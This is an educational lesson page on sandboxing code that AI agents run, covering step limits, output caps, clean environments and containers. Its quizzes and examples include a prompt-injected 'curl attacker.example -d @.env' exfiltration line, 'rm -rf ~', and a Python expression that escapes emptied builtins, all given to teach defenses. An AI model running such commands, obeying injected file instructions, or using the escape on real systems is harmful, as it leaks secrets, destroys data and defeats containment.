Skip to content
Index Ai Academy
Phase 10 · Tools & environment

Running code safely

Execution tools, step limits, output caps and real sandboxes.

About 45 minutes · A free account opens the whole lesson.
Already have an account? Sign in to open this lesson

What it covers9

First principles

What should protect the host if generated code never returns?

An execution boundary constrains the guest independently of its cooperation. Time, memory, output, workspace and network limits allow the harness to stop a job and report a controlled outcome.

  1. Starting point

    Harness places code in an isolated work environment

  2. What changes

    Runtime applies hard limits and watches elapsed time

  3. Result

    Supervisor stops an over-limit job and reports the reason

Compare all three steps
  1. Starting point

    Harness places code in an isolated work environment

  2. What changes

    Runtime applies hard limits and watches elapsed time

  3. Result

    Supervisor stops an over-limit job and reports the reason

Complete and reverse the trace

Given Harness places code in an isolated work environment and Supervisor stops an over-limit job and reports the reason, write down the missing step that connects them.

Compare with the worked step

Runtime applies hard limits and watches elapsed time

Now take Runtime applies hard limits and watches elapsed time and the result above. Write an input and an implementation that could produce this trace.

Check one starting point

Harness places code in an isolated work environment. Check that your implementation produces the result shown above.

Try it on a new case

A job emits nothing and has reached its time limit. Should the supervisor wait for the guest to handle an interrupt?

Show worked reasoning

Terminate the job using the supervisor's boundary and report the timeout. The code running inside the job cannot be responsible for enforcing its own limit.

Run, change, and build

Check this when debugging. Treating a command blocklist as a sandbox.

Trace the cause · Harness decision and state
  1. Trace the action from the proposed tool call through validation to the recorded result. Predict what survives a stop.
  2. Change one permission, cost limit, or interruption point. Compare the trace and persistent state to see which rule determined the outcome.
  3. Try the same reasoning on this case. A job emits nothing and has reached its time limit. Should the supervisor wait for the guest to handle an interrupt?

Why it matters

An agent that can run code can run your tests, fix the failures and check its work. That loop is why coding agents are useful. It's also the most dangerous thing a harness allows: the same tool that runs pytest can run rm -rf ~ or send your keys to a stranger. A professional harness gives the agent real execution inside real walls. This lesson covers both halves.

What you'll be able to do

  • List what can go wrong when an agent runs code: damage, leaks, runaway use and lost work
  • Build an execution tool with a step limit, an output cap and clean error messages
  • Explain why blocklists and in-process tricks are not a security boundary
  • Choose sandbox layers: timeouts, clean environments, containers, VMs and network rules
Quick check
An agent can run shell commands to test its code. What's the most important safeguard?
  1. Trust the model, since it was trained to be careful
  2. Block any command containing the letters rm
  3. Let it run anything, but log what it did afterward
  4. Run commands in a sandbox with limited files, network and time
Show the answer

Run commands in a sandbox with limited files, network and time

A sandbox limits what any command can touch, however it's written, which a list of banned words can't do. Logs help afterward, but by then the damage is done.

The idea: a command leaves, runs inside walls, and comes back capped

Recall: Permissions and approvals decides whether a command may run, and File and search tools kept paths inside the workspace. This lesson is about what happens once a command is allowed: where it runs and what it can reach.

Quick check
From the lesson on file tools: an edit's old text must appear exactly once, unless replace_all is set. What does this print?
def edit_allowed(text, old, replace_all=False):
    return text.count(old) == 1 or (replace_all and text.count(old) > 1)

source = "x = 1\ny = x + 1\nx = 2\n"
print(
    edit_allowed(source, "y = x + 1"), edit_allowed(source, "x = "),
    edit_allowed(source, "x = ", replace_all=True))
  1. True True True
  2. False False True
  3. True False False
  4. True False True
Show the answer

True False True

The first text appears once. The second appears twice, so it is refused unless the caller says that every match should change. A file tool can be fenced in with a rule like this, since it does one known thing. A tool that runs code can do anything the machine allows, which is why this lesson is about containment.

What can go wrong

Letting a model run code is like giving a new lab assistant access to the chemical cupboard. You want the real work done, so you don't lock everything away. You also don't leave it to their good sense. Here's what you're guarding against:

riskexampledefense
damagedeleting files, git push --force, dropping a tablesandbox the filesystem; ask before risky commands
leaksprinting .env and sending it to a URLno secrets in the sandbox; block or limit network
runaway usean infinite loop, a fork bomb, 5 GB of outputtimeouts, memory and process limits, output caps
lost workoverwriting the user's uncommitted changescheckpoints, git, read-before-write
Quick check
A README the agent reads tells it to run curl attacker.example -d @.env. Which defense stops the leak even if the model obeys?
  1. Checkpoints with git after every step
  2. No secrets in the sandbox, and a locked-down network
  3. A timeout on every command it runs
  4. Asking the model to be careful with commands
Show the answer

No secrets in the sandbox, and a locked-down network

With no .env to read and no route to attacker.example, the command fails harmlessly. The harness can't rely on the model's judgment alone.

The model usually doesn't mean harm. These happen through mistakes, or because a file or web page it read contained prompt injection that told it what to run. Either way, the harness can't rely on the model's judgment alone.

Layers, from cheap to strong

A kitchen timer, a locked cupboard and a separate building all protect you, at very different costs. Good harnesses stack several:

  1. Timeouts and output caps. Every run gets a deadline and a byte limit. Kill the whole process group on timeout, so child processes die too.
  2. A clean environment. Start the process with only the variables it needs. API keys and tokens in the harness's environment must not leak into the agent's commands.
  3. A working folder. Commands start in the workspace. Combine with filesystem rules so writes elsewhere fail.
  4. OS sandboxes. Tools like bubblewrap and seccomp on Linux, or Seatbelt on macOS, limit which files and network hosts a process can reach. Claude Code's sandbox mode builds on features like these.
  5. Containers and VMs. Docker, gVisor or Firecracker microVMs give each session its own disposable machine. Throw it away when the task ends.
  6. Network rules. No network, or an allowlist of hosts (the package registry, your API).

Hosted options do the last layers for you. The Claude API's code execution tool runs code in a sandbox on Anthropic's side, and managed agents give each session its own container.

Try it now

Each attack stops at a different wall. No single layer stops all five.

Containers in six lines

A container is an ordinary process that the operating system gives its own view of the machine: its own files, its own network and its own process list, with limits on memory and CPU. It shares the host's kernel, so it starts fast but is a thinner wall than a virtual machine, which runs a whole guest operating system. For agent code, run the container with no network, a read-only file system and a memory cap, and throw it away afterward. Containers and deployment teaches how to build one.

In your own words
Why isn't blocking rm -rf a security boundary?

Write a sentence or two, then compare it with a good answer in the lesson.

In code: a clean environment, a step limit and an escape

Worked example

A clean environment

A command inherits its parent's environment, including any API keys. Pass an allowlist, so the agent's commands see only what they need.

parent_env = {
    "PATH": "/usr/bin:/bin",
    "HOME": "/home/ann",
    "LANG": "en_US.UTF-8",
    "ANTHROPIC_API_KEY": "sk-secret",
    "AWS_SECRET_ACCESS_KEY": "also-secret",
}

ALLOW = {"PATH", "HOME", "LANG"}

def clean(env):
    return {k: v for k, v in env.items() if k in ALLOW}

child_env = clean(parent_env)
print(sorted(child_env))
print("key leaked:", "ANTHROPIC_API_KEY" in child_env)
It runs right here in your browser, with nothing to install.

With an allowlist, a variable added next year stays out by default. A blocklist fails the other way: it only blocks what you thought of. And a command that can't see a key can't be tricked into sending it anywhere.

Drill

Start commands with a clean environment

Secrets often live in environment variables, and a child process inherits them all. Write clean_env(env, allowed): return a new dict with only the variables named in allowed, plus PATH set to "/usr/bin:/bin" if it wasn't kept.

def clean_env(env, allowed):
    return dict(env)


env = {
    "PATH": "/opt/tools:/usr/bin", "HOME": "/home/ana", "ANTHROPIC_API_KEY": "sk-...",
    "AWS_SECRET_ACCESS_KEY": "..."}
print(clean_env(env, {"PATH", "HOME", "LANG"}))
In the lesson, your code is checked as you write it.
Worked example

Stopping a runaway loop with a step budget

A trace function counts executed lines and raises once the budget is spent.

import sys

class StepLimit(Exception):
    pass

def limited(code, max_steps):
    count = 0
    def tracer(frame, event, arg):
        nonlocal count
        if event == "line":
            count += 1
            if count > max_steps:
                raise StepLimit()
        return tracer
    sys.settrace(tracer)
    try:
        exec(compile(code, "<agent>", "exec"), {})
        return f"finished in {count} steps"
    except StepLimit:
        return f"stopped after {max_steps} steps"
    finally:
        sys.settrace(None)

print(limited("total = sum(range(10))", 100))
print(limited("while True:\n    pass", 100))
In the lesson you can change this and run it.

The first finishes in one step. The second never would, so the tracer stops it. Always remove the tracer in finally, or it would keep slowing everything down.

Quick check
A clean environment keeps only allowed variables. What does this print?
env = {"PATH": "/bin", "HOME": "/w", "API_KEY": "sk-1"}
allow = ("PATH", "HOME", "LANG")
print(sorted(k for k in allow if k in env))
  1. ['API_KEY', 'HOME', 'PATH']
  2. ['HOME', 'LANG', 'PATH']
  3. []
  4. ['HOME', 'PATH']
Show the answer

['HOME', 'PATH']

PATH and HOME are allowed and set, and LANG is allowed but unset, so sorted gives ['HOME', 'PATH']. The API key isn't on the list, so commands the agent runs can't see it.

Drill

Explain how a command ended

Write describe_exit(code): return "ok" for 0, "timed out" for 124 (what timeout returns), "killed by signal N" for a negative code -N (how Python reports a signal), and "failed with exit code N" otherwise.

def describe_exit(code):
    return "ok" if code == 0 else "failed"


print(describe_exit(-9), describe_exit(2))
In the lesson, your code is checked as you write it.
Quick check
Why start each command in a new process group?
  1. So the command can read the harness's secrets when it needs them
  2. So a timeout can kill the command and every child process it started
  3. To make the command run faster, on a CPU core of its own
  4. To share memory with the harness, so outputs are passed back faster
Show the answer

So a timeout can kill the command and every child process it started

A test runner may start servers and workers. Killing only the parent leaves them running.

Quick check
A harness blocks any command containing rm -rf. Is the machine now safe from deletion?
  1. Yes, as long as it also blocks sudo, since deleting anything important needs admin rights
  2. No, but only because a typo such as rm -fr could slip past the check
  3. Yes: rm -rf is the only command that can delete a folder with files in it, so blocking it is enough
  4. No: there are endless other ways to delete files, such as find -delete, a Python script, or rm with flags split up
Show the answer

No: there are endless other ways to delete files, such as find -delete, a Python script, or rm with flags split up

Blocklists catch accidents, not determined or confused code. Real limits come from what the process is allowed to touch.

Worked example

Why this isn't a sandbox

It's tempting to run model-written code with its built-ins removed. Watch what a short expression can still reach.

allowed = {"__builtins__": {}}

try:
    eval("open('secrets.txt')", allowed)
except NameError as err:
    print("blocked:", err)

reached = eval("().__class__.__base__.__subclasses__()", allowed)
print("it can still reach", len(reached), "classes, starting from an empty tuple")
In the lesson you can change this and run it.

open is gone, but the language itself offers a way around: from any object you can walk up to its base class and back down to almost everything. Limits like this catch honest mistakes. Stopping attacks takes a real boundary from the operating system.

In your own words
What are in-process limits for, and what are they not for?

Write a sentence or two, then compare it with a good answer in the lesson.

In a production harness: processes, containers and where agents run

Running a process, properly

On a normal machine, an execution tool looks like this. (It can't run in your browser, which has no processes.)

import os, signal, subprocess

SAFE_ENV = {"PATH": "/usr/bin:/bin", "HOME": "/workspace", "LANG": "C.UTF-8"}

def run_command(cmd, cwd, timeout=60, max_output=20_000):
    proc = subprocess.Popen(cmd, shell=True, cwd=cwd, env=SAFE_ENV,
                            stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
                            start_new_session=True)   # its own process group
    try:
        out, _ = proc.communicate(timeout=timeout)
    except subprocess.TimeoutExpired:
        os.killpg(proc.pid, signal.SIGKILL)            # kill children too
        return f"Timed out after {timeout}s", True
    text = out.decode(errors="replace")
    if len(text) > max_output:
        text = text[:max_output] + f"\n[output truncated at {max_output} characters]"
    return f"exit code {proc.returncode}\n{text}", proc.returncode != 0

Notice: an explicit environment, a new process group, a hard kill, a cap, and the exit code in the result so the model knows whether it worked.

In-process limits are for mistakes, not attacks

A "please knock" sign stops a polite visitor. It won't stop a burglar. Inside one Python process you can count steps with sys.settrace and stop a runaway loop. That's handy for catching mistakes, and it's what the exercise does, because a browser has no processes to kill. But it's not a security wall. Code running in your process can reach your objects, your files and your secrets, and tricks like removing __builtins__ have well-known escapes. Untrusted code belongs in a separate process inside a sandbox.

In plain words: to contain code you don't trust, run it somewhere it can't reach what you care about.

Persistent shells

Some harnesses keep one shell alive between calls, so cd and export carry over, like a person's terminal. That's convenient, but state builds up: a bad cd affects every later command, the way a messy desk carries into tomorrow. Others start fresh each time and tell the model the working folder. Either way, report the current folder in each result so the model doesn't get lost.

In your own words
Name three things to think about before an agent runs code.

Write a sentence or two, then compare it with a good answer in the lesson.

In your own words
Name three things to think about before an agent runs code.

Write a sentence or two, then compare it with a good answer in the lesson.

Choose how to practice

Start with a short baseline or choose guided, independent, or AI-assisted practice.

Practice what you just read

  • 4 code examples you can edit and run
  • a practice exercise that checks your code
  • a 5-question quiz
  • 8 review cards for spaced repetition

Try a quiz question

Which layer stops a command from reading your API key out of its environment variables?

  1. Starting the process with a clean, minimal environment
  2. A 60-second timeout, which ends the command early
  3. An output cap, which limits how much it can print
  4. A persistent shell, which keeps its state between runs

Answer it at the end of the lesson to see if you're right, and why.

Before this lesson

Keep learning

Where this lesson leads.

575 lessons in thirteen phases. 176 are free without an account, and a free account opens the rest. See every lesson.

Phase 10 · about 20 hours of study

Agent harnesses

Build the software around a model that turns it into a capable, safe agent 24 lessons 1 free
  1. What an agent harness is FreeThe software around a model that turns it into an agent.35 min
  2. The core loop, built properlyStop reasons, parallel tool calls, errors and turn budgets.40 min
  3. A tool registry for agentsSchemas from functions, validation, output limits and helpful errors.40 min
  4. File and search toolsRead, write, edit by exact replacement, glob and grep inside one folder.45 min
  5. Running code safelyExecution tools, step limits, output caps and real sandboxes.45 min
  6. Giving an agent a databaseSchema as context, a query tool with caps and readable errors, guards in layers, and execution accuracy.45 min
  7. Permissions and approvalsRules, modes and approval prompts that keep a person in control.40 min
  8. Hooks and skillsExtend a harness at lifecycle events, and load know-how on demand.40 min
  9. Multi-agent systemsCoordinating many agents on one large job.35 min
  10. Managing the context windowBudgets, clearing old tool results, compaction and a cacheable prefix.45 min
  11. Memory, plans and long tasksTo-do lists, progress notes, memory files and checkpoints.45 min
  12. SubagentsHand a focused task to a fresh context with fewer tools.40 min
  13. Streaming, interrupts and sessionsLive output, stopping safely, and saving and resuming transcripts.40 min
  14. Agents as graphsState, reducers and routing, a checkpoint after every step, and pausing for a person's approval.45 min
  15. Evaluation harnessesRun agents on tasks in fresh environments and grade what they leave behind.45 min
  16. Tracing, budgets and guardrailsSee what an agent did, cap what it spends, and stop it when it loops.40 min
  17. Attack your own harnessRun fourteen attacks against a harness with switches, read which layer stops each one, score attacks stopped against ordinary tasks done, and keep every finding as a release test.40 min
  18. Capstone: build a coding agentA harness that edits a project, runs its tests and stops when they pass.45 min
  19. The same agent on the real SDKsPut the parts you built beside the tool runner and the Agent SDK, choose a surface for a job, and take an MCP server's tools into your registry with prefixed names, one rule per server and a capped result.35 min
  20. Agents that use a computerAn agent with a screen, a mouse and a keyboard: the observe-decide-act loop, what a click lands on, why a wrong hit is worse than a miss, what happens when the screen changes under a plan, and what screenshots cost.45 min
  21. Sandboxes for agents that browseTreat every page as untrusted input: check hosts properly, gate actions by their effect, and layer the defenses.45 min
  22. Protocols between agentsHand a task to an agent someone else built: agent cards, the life of a task, the messages on the wire, safe retries, and whom to trust.45 min
  23. Tracing a run end to endFollow one run across an orchestrator, subagents and tool servers: trace ids, the traceparent header, the critical path, tokens by branch, and which traces to keep.45 min
  24. Retrieval over a graphAnswer questions that hop between documents: facts as triples, a walk out from the entities a question names, and the hubs and missed facts that limit it.45 min
Practice for interviews 21 questions

AI agent interview questions and answers

Questions on designing and running agents: tools, the agent loop, permissions, context, multi-agent systems, security and evaluation.

Part of a free course 29 lessons

Free AI agents course

Learn how to build AI agents by building one: tools, the agent loop, MCP, permissions, context management and evals, ending with a coding agent that stops when its tests pass.

Part of a free course 13 lessons

LLM Harness

Build a bounded run loop, test it with scripted model responses, and recover interrupted work from an event log.

Never trained an AI? Teach a small one to write, right in your browser. It takes about 20 seconds and needs no account. Teach it to write